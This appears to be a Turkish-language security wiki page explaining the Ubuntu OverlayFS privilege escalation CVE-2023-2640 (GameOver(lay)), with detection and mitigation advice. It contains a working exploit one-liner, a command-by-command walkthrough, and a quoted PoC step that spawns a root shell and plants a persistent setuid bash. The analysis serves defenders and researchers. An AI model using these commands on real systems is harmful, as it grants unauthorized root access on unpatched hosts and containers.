overlayfs GameOver(lay) LPE (CVE-2023-2640)¶
Sadece Ubuntu'yu etkileyen bir OverlayFS bug'ı: unprivileged bir kullanıcı, user-namespace içindeki bir overlay mount'ta bir dosyaya
security.capabilityxattr'ı (örn.cap_setuid) set eder ve copy-up bunu upper dosyaya unscoped şekilde taşır; çünkü Ubuntu'nunovl_do_setxattr'ı namespace-scoping permission check'lerini atlar.
Mechanism¶
Neden çalışır
CVE-2023-2640, Wiz Research tarafından keşfedilen GameOver(lay)'in iki yarısından biri (diğeri CVE-2023-32629). Bu upstream bir Linux bug'ı değil — yalnızca Ubuntu, OverlayFS'e mainline'dan sapan downstream ("SAUCE") patch'ler taşıdığı için var.
İki bileşen birleşiyor:
-
Ubuntu, overlay'i unprivileged user namespace'lerde mount edilebilir yapıyor. CVE-2021-3493'te olduğu gibi, Ubuntu unprivileged bir kullanıcının (namespace-local)
CAP_SYS_ADMINveCAP_SETFCAPtuttuğu bir user namespace içinde OverlayFS mount etmesine olanak ekledi. -
Ubuntu'nun copy-up'ı xattr'ları yeniden scope'lamadan yazıyor. Copy-up bir dosyanın extended attribute'larını duplicate ederken, Ubuntu'nun
ovl_copy_xattryoluovl_do_setxattr'ı çağırır ve bu Ubuntu kernel'lerinde standartvfs_setxattryerine__vfs_setxattr_noperm'e resolve olur. Fark belirleyici:vfs_setxattr, birsecurity.capabilityblob'unu namespace-rooted bir forma çeviren ve yazan tarafın hedef inode'un user namespace'i üzerindeCAP_SETFCAPtuttuğunu enforce edencap_convert_nscap'i çalıştırır._nopermvaryantı ise capability blob'unu olduğu gibi kopyalar, hiçbir conversion ve permission check olmadan.
Dolayısıyla exploit şu: bir user namespace'e gir, lower layer'daki bir
dosyaya gerçek bir security.capability (örneğin cap_setuid+eip) ekle,
overlay'i mount et ve copy-up'ı tetikle. Capability upper dosyaya unscoped
yazılır — yani init user namespace'inde geçerli. Upper dosya host'ta
normal bir filesystem üzerinde durduğundan, artık capability'li olan binary
namespace dışında çalıştırıldığında setuid(0) çağırabilir.
Bunun özellikle Ubuntu'da latent olmasının sebebi: Ubuntu'nun
__vfs_setxattr_noperm yolu, vfs_setxattr'ı sıkılaştıran Aralık-2020
upstream hardening'inden (CVE-2021-3493'ü de fix'leyen aynı hardening) önce
gelir. Ubuntu'nun private yolu o fix'i hiç almadı ve deliği yeniden açtı.
İki CVE = aynı bug'ın iki copy-up sink'i. GameOver(lay) tek bir
bulgu olmasına rağmen iki CVE ID taşır; çünkü güvensiz ovl_do_setxattr
write'ına iki ayrı copy-up code path'inden ulaşılır:
- CVE-2023-2640 — sıradan tam copy-up xattr path'i (
ovl_copy_xattr). - CVE-2023-32629 —
metacopy=oniken yalnızca inode metadata'sını (owner/mode/xattr) taşıyan metadata-only path (ovl_copy_up_meta_inode_data). metacopy etkinken OverlayFS önce yalnız metadata'yı copy-up eder ve data'yı ilk yazmada lazy bırakır; bu metadata kopyasısecurity.capability'yi içerdiği ve aynı güvensiz sink'e gittiği için capability yeniden scope'lanmadan propagate olur.
Her iki path de aynı kök kusurun ifadesidir ve aynı one-liner ile trigger edilebilir.
Walkthrough¶
Yayımlanmış kanonik one-liner (ProjectDiscovery / Nuclei template formu):
unshare -rm sh -c "mkdir -p l u w m && cp test l/ && \
setcap cap_setuid+eip l/test && \
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && \
touch m/test && u/test && id;"
Adım adım:
unshare -rm, yeni bir user namespace (içeride çağıranı uid 0'a map'leyerek) ve yeni bir mount namespace oluşturur; böylece unprivileged kullanıcı OverlayFS mount edipsetcapkullanabilir.
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ unshare -rm # now euid 0 *inside* the namespace only
# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
- Layout'u oluştur ve lower layer'ı zararsız bir binary'nin (
test) kopyasıyla doldur, ardından ona gerçek bir file capability ekle:
# mkdir -p l u w m
# cp test l/
# setcap cap_setuid+eip l/test
# getcap l/test
l/test cap_setuid=eip
- Overlay'i
llower,uupper,wwork olacak şekilde mount et:
- Dosyayı merged mount üzerinden değiştirerek copy-up'ı tetikle. Upper kopya
capability'yi inherit eder, ama unscoped (init-ns'te geçerli) olarak;
çünkü
_nopermxattr write'ıcap_convert_nscap'i hiç çalıştırmadı:
u/test, host filesystem'i üzerinde durur.setuid(0)çağıracak şekilde derlenmiş bir binary artık gerçek root olarak başarılı olur:
Tam weaponize edilmiş bir PoC (g1vi) ise bunun yerine cap_setuid+eip ile setuid
bir Python interpreter düşürür ve python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
çalıştırır, ardından kalıcı bir setuid /var/tmp/bash yazar.
Etkilenen sürümler
Ubuntu'ya özgü (ve bazı downstream'ler, örn. bazı Kali build'leri). Özellikle
Ubuntu 23.04 (kernel 6.2.0), 22.10 (5.19.0), 22.04 LTS (5.19.0,
6.2.0), ayrıca SAUCE OverlayFS xattr patch'lerini taşıyan daha eski seriler;
5.4.0 etkilenir, ancak 22.04 üzerindeki 5.15.0 CVE-2023-2640'tan
etkilenmez. 2023-07-24'te yayınlanan Ubuntu kernel'lerinde patch'lendi.
Ubuntu olmayan / mainline kernel'ler __vfs_setxattr_noperm kısayolunu
kullanmadığından bu CVE'lerden etkilenmez.
Detection¶
- Unprivileged bir process'in
unshare -r/unshare -rmçalıştırmasının hemen ardındanmount -t overlayve lower dosyada birsetcap/setxattrgelmesi. - User-writable bir overlay
upperdir'inde bir dosyanınsecurity.capabilityxattr'ı (özelliklecap_setuid,cap_setfcap,cap_sys_admin) kazanması. - File capability'leri olan bir dosyanın non-root bir kullanıcı tarafından
execveedilmesi ve ardındansetuid(0)gelmesi.
Mitigation¶
- Overlay copy-up xattr yolunda permission/scoping check'ini yeniden ekleyen Ubuntu kernel'lerine güncelle (GameOver(lay) CVE'leri için USN advisory'leri).
- Exploit'in dayandığı unprivileged user-namespace mount'unu engellemek için
kernel.unprivileged_userns_clone=0(veya daha yeni Ubuntu'dakernel.apparmor_restrict_unprivileged_userns=1) set et. - Container profile'larında
mount/setcap'i seccomp/AppArmor ile kısıtla.
References¶
- GameOver(lay): Ubuntu OverlayFS vulnerability impacts 40% of Ubuntu workloads — Wiz
- GameOver(lay) — Local Privilege Escalation in Ubuntu Kernel — ProjectDiscovery
- Rooting Non-Root Containers with GameOver(lay) — CrowdStrike
- New Container Exploit: Rooting Non-Root Containers with GameOver(lay) — Cloud Security Alliance
- GameOver(lay) PoC and details (gist, win3zz)
- g1vi/CVE-2023-2640-CVE-2023-32629 PoC